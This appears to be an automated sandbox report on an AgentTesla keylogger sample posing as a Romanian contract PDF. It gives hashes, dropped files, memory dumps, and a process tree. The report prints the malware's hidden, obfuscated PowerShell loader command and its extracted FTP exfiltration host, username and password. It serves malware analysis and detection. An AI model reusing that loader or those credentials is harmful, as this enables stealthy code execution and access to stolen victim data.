agenttesla | 2dc56a2f3b12cbdb34a73d5d90e9759d48cc8eda0c8833cd64005559469a1058

General

Target

REVIZUIREA CONTRACTULUI-pdf.exe
Size

708KB
MD5

380787d6ecbcc6cd4dd23df9da174c35
SHA1

9298497f6ed0c8ab161a3c4a85c3a99b45613581
SHA256

2dc56a2f3b12cbdb34a73d5d90e9759d48cc8eda0c8833cd64005559469a1058
SHA512

8c75231ba6c44a946fabe2d12eb5e0980959a8cf4f9fabb6b6831c52d96b55d1d2cfd0ed84479b59192b3572a7a57888557311f6639c340d04fb4b24c235cb9b
SSDEEP

12288:vwFGHEXzSTDHfwvNJUcXGzJTaylgimtdYM3O0V7bbW:v5HEXzI0NNXoJThlgZtub0V7u

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.vvspijkenisse.nl
Port:
21
Username:
[email protected]
Password:
playingboyz231

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	REVIZUIREA CONTRACTULUI-pdf.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
5048	msbuild.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5092	powershell.exe
5048	msbuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5092 set thread context of 5048	5092	powershell.exe	96

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	REVIZUIREA CONTRACTULUI-pdf.exe
File created	C:\Program Files (x86)\cockling.lnk	REVIZUIREA CONTRACTULUI-pdf.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	REVIZUIREA CONTRACTULUI-pdf.exe
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	REVIZUIREA CONTRACTULUI-pdf.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Calottes.Doo	REVIZUIREA CONTRACTULUI-pdf.exe
File opened for modification	C:\Windows\bagvognen.lnk	REVIZUIREA CONTRACTULUI-pdf.exe
File created	C:\Windows\bagvognen.lnk	REVIZUIREA CONTRACTULUI-pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2016	5048	WerFault.exe	96

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5048	msbuild.exe
5048	msbuild.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5092	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	5048	msbuild.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3956 wrote to memory of 5092	3956	REVIZUIREA CONTRACTULUI-pdf.exe	88
PID 3956 wrote to memory of 5092	3956	REVIZUIREA CONTRACTULUI-pdf.exe	88
PID 3956 wrote to memory of 5092	3956	REVIZUIREA CONTRACTULUI-pdf.exe	88
PID 5092 wrote to memory of 5048	5092	powershell.exe	96
PID 5092 wrote to memory of 5048	5092	powershell.exe	96
PID 5092 wrote to memory of 5048	5092	powershell.exe	96
PID 5092 wrote to memory of 5048	5092	powershell.exe	96
PID 5092 wrote to memory of 5048	5092	powershell.exe	96

C:\Users\Admin\AppData\Local\Temp\REVIZUIREA CONTRACTULUI-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\REVIZUIREA CONTRACTULUI-pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Calypso=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Beskyttelsesmidler\Unlighted\Splanchnographer.Kna';$Kalispel=$Calypso.SubString(53259,3);.$Kalispel($Calypso)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5048
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 1864
      4⤵
      Program crash
      PID:2016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5048 -ip 5048
1⤵
PID:208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g10vp5b0.yrs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Beskyttelsesmidler\Unlighted\Splanchnographer.Kna

Filesize
52KB

MD5
5d12c9d49bef39741a5077c2ea1a3118

SHA1
b6075ecd3a820510b37ca62f1d74d95f599c2fdc

SHA256
41b05b53faaef42cacc83c7c37c4e47bcf43eaef1fea8ef28b9d90a5bcb555b6

SHA512
27eae2e897e39de8b06a59454c8e49273386e066e5900d19f99b415ebbddc150e42794968774412c0f72bf5c6f0e1924469894ca013f6b98a081b411c8b1bf86

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Blancheredes\Dysadaptation\sophia.Non

Filesize
309KB

MD5
f5017cc8df8d48957ca45afacd609df3

SHA1
e769c4d4e9ab2101f6f088135efd580a9ef9e4da

SHA256
61c7f23798426b06bbfb489a893a89567db6c8c84700d69a14e410c4e52b4366

SHA512
d6215ee0dc6b3fc3e875c88dbf6c012cc17e20bd0812cfe8ab2f2b66cc3116a5705f25af99986d55fb10b198019452f6c9c4cae8996a76f2a52630efdab0083e

Download Submit
memory/5048-177-0x0000000000810000-0x000000000418B000-memory.dmp

Filesize
57.5MB

Download
memory/5048-178-0x000000006E7F0000-0x000000006E830000-memory.dmp

Filesize
256KB

Download
memory/5048-180-0x00000000739F0000-0x00000000741A0000-memory.dmp

Filesize
7.7MB

Download
memory/5048-176-0x000000006E7F0000-0x000000006FA44000-memory.dmp

Filesize
18.3MB

Download
memory/5048-181-0x0000000022630000-0x0000000022640000-memory.dmp

Filesize
64KB

Download
memory/5048-175-0x0000000077651000-0x0000000077771000-memory.dmp

Filesize
1.1MB

Download
memory/5048-174-0x00000000776D8000-0x00000000776D9000-memory.dmp

Filesize
4KB

Download
memory/5048-182-0x0000000000810000-0x000000000418B000-memory.dmp

Filesize
57.5MB

Download
memory/5048-184-0x00000000739F0000-0x00000000741A0000-memory.dmp

Filesize
7.7MB

Download
memory/5092-163-0x0000000007300000-0x00000000078A4000-memory.dmp

Filesize
5.6MB

Download
memory/5092-172-0x0000000004880000-0x0000000004890000-memory.dmp

Filesize
64KB

Download
memory/5092-160-0x0000000006CB0000-0x0000000006D46000-memory.dmp

Filesize
600KB

Download
memory/5092-162-0x0000000006270000-0x0000000006292000-memory.dmp

Filesize
136KB

Download
memory/5092-159-0x0000000005D20000-0x0000000005D6C000-memory.dmp

Filesize
304KB

Download
memory/5092-165-0x0000000007F30000-0x00000000085AA000-memory.dmp

Filesize
6.5MB

Download
memory/5092-158-0x0000000005CF0000-0x0000000005D0E000-memory.dmp

Filesize
120KB

Download
memory/5092-168-0x0000000007200000-0x0000000007204000-memory.dmp

Filesize
16KB

Download
memory/5092-169-0x00000000085B0000-0x000000000BF2B000-memory.dmp

Filesize
57.5MB

Download
memory/5092-170-0x00000000739F0000-0x00000000741A0000-memory.dmp

Filesize
7.7MB

Download
memory/5092-171-0x0000000077651000-0x0000000077771000-memory.dmp

Filesize
1.1MB

Download
memory/5092-161-0x0000000006220000-0x000000000623A000-memory.dmp

Filesize
104KB

Download
memory/5092-157-0x0000000005810000-0x0000000005B64000-memory.dmp

Filesize
3.3MB

Download
memory/5092-146-0x00000000055F0000-0x0000000005656000-memory.dmp

Filesize
408KB

Download
memory/5092-152-0x0000000005660000-0x00000000056C6000-memory.dmp

Filesize
408KB

Download
memory/5092-145-0x0000000004CF0000-0x0000000004D12000-memory.dmp

Filesize
136KB

Download
memory/5092-144-0x0000000004EC0000-0x00000000054E8000-memory.dmp

Filesize
6.2MB

Download
memory/5092-179-0x00000000739F0000-0x00000000741A0000-memory.dmp

Filesize
7.7MB

Download
memory/5092-143-0x0000000004880000-0x0000000004890000-memory.dmp

Filesize
64KB

Download
memory/5092-142-0x0000000004880000-0x0000000004890000-memory.dmp

Filesize
64KB

Download
memory/5092-141-0x00000000739F0000-0x00000000741A0000-memory.dmp

Filesize
7.7MB

Download
memory/5092-140-0x00000000046F0000-0x0000000004726000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing